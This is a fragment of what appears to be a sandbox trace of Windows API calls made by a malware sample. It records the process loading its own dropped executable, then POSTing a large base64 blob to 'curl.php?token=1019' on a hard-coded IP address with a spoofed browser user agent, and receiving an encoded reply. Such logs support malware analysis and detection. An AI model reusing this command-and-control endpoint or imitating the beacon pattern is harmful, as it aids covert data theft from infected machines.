Gc/QNXj3ngjdcHYSwoFjzlN7I0LJkTUiAMqsBq3ymMPoa6rfEknB/aM215QFgHTAKZfeSE+rBTrFyb2Cr6qVcycOec9j91L/jQNXZT9esjhASiArQ+BzNHyY40CJMA4jgkJOxC+dFwzyClV2YM0lMSwODvSgg4fSmwGIA9rQjhalJ9kEfz1rcJZk+OrXz3Vw6UO/b94HF41S7vaIASv0Yars5MrvEsG5Ytc779Q6KNFMx7ZW44j3VBGKwny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==" [0131.109] lstrlenA (lpString="data=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") returned 5797 [0131.109] lstrcpyW (in: lpString1=0x19f858, lpString2="curl.php?token=" | out: lpString1="curl.php?token=") returned="curl.php?token=" [0131.109] VirtualAlloc (lpAddress=0x0, dwSize=0x404, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0131.109] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2730000, nSize=0x200 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\tubcvd.exe")) returned 0x3a [0131.109] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\tubcvd.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4bc [0131.109] CreateFileMappingW (hFile=0x4bc, lpFileMappingAttributes=0x0, flProtect=0x8, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x4c0 [0131.109] MapViewOfFile (hFileMappingObject=0x4c0, dwDesiredAccess=0x1, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2740000 [0131.110] lstrlenW (lpString="curl.php?token=") returned 15 [0131.110] lstrlenA (lpString="1019") returned 4 [0131.110] lstrlenA (lpString="1019") returned 4 [0131.110] lstrlenA (lpString="1019") returned 4 [0131.110] lstrlenA (lpString="1019") returned 4 [0131.110] lstrlenA (lpString="1019") returned 4 [0131.110] lstrlenA (lpString="1019") returned 4 [0131.110] lstrlenA (lpString="1019") returned 4 [0131.110] lstrlenA (lpString="1019") returned 4 [0131.110] lstrlenA (lpString="1019") returned 4 [0131.110] UnmapViewOfFile (lpBaseAddress=0x2740000) returned 1 [0131.110] CloseHandle (hObject=0x4c0) returned 1 [0131.110] CloseHandle (hObject=0x4bc) returned 1 [0131.110] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.111] lstrlenW (lpString="Content-Type: application/x-www-form-urlencoded") returned 47 [0131.111] lstrlenA (lpString="data=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") returned 5797 [0131.111] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0131.111] InternetOpenW (lpszAgent="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36", dwAccessType=0x1, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0131.111] InternetConnectW (hInternet=0xcc0004, lpszServerName="78.155.206.6", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0131.111] VirtualAlloc (lpAddress=0x0, dwSize=0x2800, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0131.111] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="curl.php?token=1019") returned 19 [0131.111] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName="curl.php?token=1019", lpszVersion="HTTP/1.1", lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x8404f700, dwContext=0x0) returned 0xcc000c [0131.111] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders="Content-Type: application/x-www-form-urlencoded", dwHeadersLength=0x2f, lpOptional=0x2710000*, dwOptionalLength=0x16a5 | out: lpOptional=0x2710000*) returned 1 [0135.122] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2720000, dwNumberOfBytesToRead=0x27fe, lpdwNumberOfBytesRead=0x19f81c | out: lpBuffer=0x2720000*, lpdwNumberOfBytesRead=0x19f81c*=0x164d) returned 1 [0135.123] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2720000, dwNumberOfBytesToRead=0x27fe, lpdwNumberOfBytesRead=0x19f81c | out: lpBuffer=0x2720000*, lpdwNumberOfBytesRead=0x19f81c*=0x0) returned 1 [0135.125] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0135.127] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0135.127] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.127] lstrlenA (lpString="g4cYyLBlM3r+cJjsmkotQdth9Mc+Xpk2GMDUpimxEzKxOmLAHxdmzAWo4BAcrgQMXzM61V1XwiyhAwQTrduRv9bWrQ/fel6T2bbttetOLwhf19u6VfjnSlHQfLH8LEycXQIJkYTs0Y2MKl1eVNrr1ceCwIwGuw78YXg2qBDVJxgKYl5NEMmZq0iXvXuFZj7Hxes0cytYg85S758/rUHzJuanfPQiqKW7Day4ySGgo/3S8S+rOtXbTR21ri3FFuOASAPq5a+9MD6hLm7De7L6tsQaDebfMHu8j6RuKOqbhM/TgbF/Gmiu9dsKxdI6gk+tAVS7QdfGCrTbqK+eH1HI/+RLT57U9Vy0gPW+hnXAlZjzzxbgOip/B4b0DOAVXgBVj9nlvGWPrrmrjNdiF2VsXr5bZNM/HcjAgrwdHENAFwZ+sWduY5M8GcupiBUE1cZxGGvSA3m+Q0LaIch2QGKP40N51Ola+gVNt15ofvrO4tdMmb6KUEBSaGDYvukP0jLlRtSZBysQ+wb2KAhgNcki5+QclnfBirU0LMIIHAydBXoiRGuMfQsNtI7FO3qQkVXSm9g0LagLuQ3p/RtcTt9BRo2JiTMIoMXuMGGSXRLuMfA4nZp4mOMFaI06TUiTzR+qordodKPXFJiSWn1MbBLpuqqxgl0xy2CoHERIpVjo3iivQjsvNrnGp3A0XjdIIYJy1vtFkU4cMry8xQywxbVa+t6Sff57aCURHX2rlV+BlDLhpNdJCQCVxKx5IKywn5MCK/h1yD8ILxAnjLcPA5umOoFVvbWQxn+1P1qe8vgBO4VAc4jlhYhTaG6EehXvBOKar/PeG4Kdgo71m2KokgzRC+vUOon91N8XROSiz80tMbVQZuuyZthbDqoQlL8IebjRn9dwbxNXJOW9O+zlbWBrduDZrWdy/ZXQWmmX0ldt7BFWGTSKBXfc7Q5Q4dZUjG6ISKGFdTe5wrN48UJh2NSav7J8r7ihL/Kka6QZNw2NoeQbXZ58wZipNWowd6cwt7p96z76hYegsmTgdIzEnpnB4P0GTnAhQRRgaa3/ag2Q+eGRs7qix8gp+8EZZ+bIgk4mfTQIeauhLBfFKMuea5Y6Tpgy444JOQnopdqtmxV/4q97+1P/xRyUs50792RUAuLPTxlLJZg7PrXTZWlKSl5pSAPe1tbOnMx9niHKXdVsYfcfWuXDbZPMxs2pj8jP45MTYYgkHh8k6p5rC6OBaIIHOO7MnMCfxQncNlE5efA9JTgdquZkEohmS6gbe1dNWCN5GNHkDS6i9DtPngSx/JUM1Dgs7ytNX1aUnc0tjYol5IB5BdZavhfF3LryA0K+vmP1hfRboUATUsWHOZ73JcxnUXdLGz+YeqB5Hwf5tMNOgL9PgEL4axkSNbH4kY9hbThi4qeZTPCRmKlitIdjHXxBkMWng4ex+O19pcQySXlVmWIOGTbMSOynJWani2gQCrqNTZRuan/37mFWvfHwnfZZ3n3u0nCQvEZMLjhUIZZJ2+a5pL8F+3B/+Brl99gl2z9QFXA6ovoQ/SvTrM6